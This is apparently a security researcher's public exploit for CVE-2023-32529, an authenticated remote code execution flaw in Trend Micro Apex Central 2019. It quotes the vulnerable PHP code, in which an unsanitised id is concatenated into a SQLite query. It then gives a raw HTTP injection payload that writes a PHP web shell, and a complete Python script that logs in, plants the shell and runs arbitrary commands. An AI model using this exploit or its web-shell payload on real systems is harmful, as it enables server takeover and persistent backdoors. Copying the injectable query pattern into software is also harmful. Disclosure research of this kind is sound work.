(CVE-2023-32529) Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

public function DeleteCertById($id)
	{
		mydebug_log("[DBHelper][DeleteCertById] In.");	
		$sql = "DELETE FROM tb_certificate WHERE Id = ".$id;
		//mydebug_log("[DBHelper][DeleteCertById] sql->".$sql);
		
		$ret = $this->dbh->exec($sql);
		return $ret;
	}

try {
    $connectString = realpath(dirname(__FILE__).$this->db_file);
    $this->dbh = new PDO('sqlite:'.$connectString);
} catch(PDOException $e) {
    $this->message = "Failed to create db connection.";
    myerror_log("[DBHelper][__construct] ->".$this->message);
}

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function DeleteCert($id)
{
	mydebug_log("[DeleteCert] In.");
	$db_helper = new DBHelper();
	if($db_helper->isFailed())
	{
		return 0;
	}	
	return $db_helper->DeleteCertById($id);	// [1]
}

POST /webapp/widget/proxy_controller.php HTTP/2
Host: 192.168.126.135
Cookie: ASP_NET_SessionId=w5lfgggmkrrjgdbfa2xauhi3; PHPSESSID=4ms8veqpa7i8a46dmivpjeaih7;
Content-Length: 466
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhx3JdXOddFA2nlGE

------WebKitFormBoundaryhx3JdXOddFA2nlGE
Content-Disposition: form-data; name="module"

modTMMS
------WebKitFormBoundaryhx3JdXOddFA2nlGE
Content-Disposition: form-data; name="tmms_cmd"

delete_cert_vec
------WebKitFormBoundaryhx3JdXOddFA2nlGE
Content-Disposition: form-data; name="cert_vec"

{"a":"-1;ATTACH DATABASE'REPOSI~1\\a.php'AS a;CREATE TABLE a.b(c text);INSERT INTO a.b VALUES(\"<?=`$_GET[c]`?>\");"}
------WebKitFormBoundaryhx3JdXOddFA2nlGE--

# Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE (CVE-2023-32529)
# Vector used: DeleteCert()
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import re
import requests
import sys
import urllib.parse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, cmd

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE (CVE-2023-32529) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    cmd = urllib.parse.quote(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def upload_web_shell():
    global s

    print("[+] Attempting to upload web shell...")

    files = {
        "module": (None, "modTMMS"),
        "tmms_cmd": (None, "delete_cert_vec"),
        "cert_vec": (None, "{\"a\":\"-1;ATTACH DATABASE'REPOSI~1\\\\a.php'AS a;CREATE TABLE a.b(c text);INSERT INTO a.b VALUES(\\\"<?=`$_GET[c]`?>\\\");\"}")
    }

    s.post("{}/webapp/widget/proxy_controller.php".format(target), files=files, verify=False)

def check_shell_and_rce():
    print("[+] Attempting to interact with web shell...")
    res = s.get("{}/webapp/widget/repository/a.php?c={}".format(target, cmd))

    if res.status_code != 200:
        print("[!] Failed to find the web shell! Is the system patched?")
        sys.exit(1)

    output = res.text.encode().split(b"\x11\x01\x02+")[1].decode()
    print("[+] Web shell is successfully uploaded at: {}/web/widget/repository/a.php?c={}".format(target, cmd))
    print("[+] Output of command:\n\n{}".format(output))

def main():
    check_args()
    authenticate()
    upload_web_shell()
    check_shell_and_rce()

if __name__ == "__main__":
    main()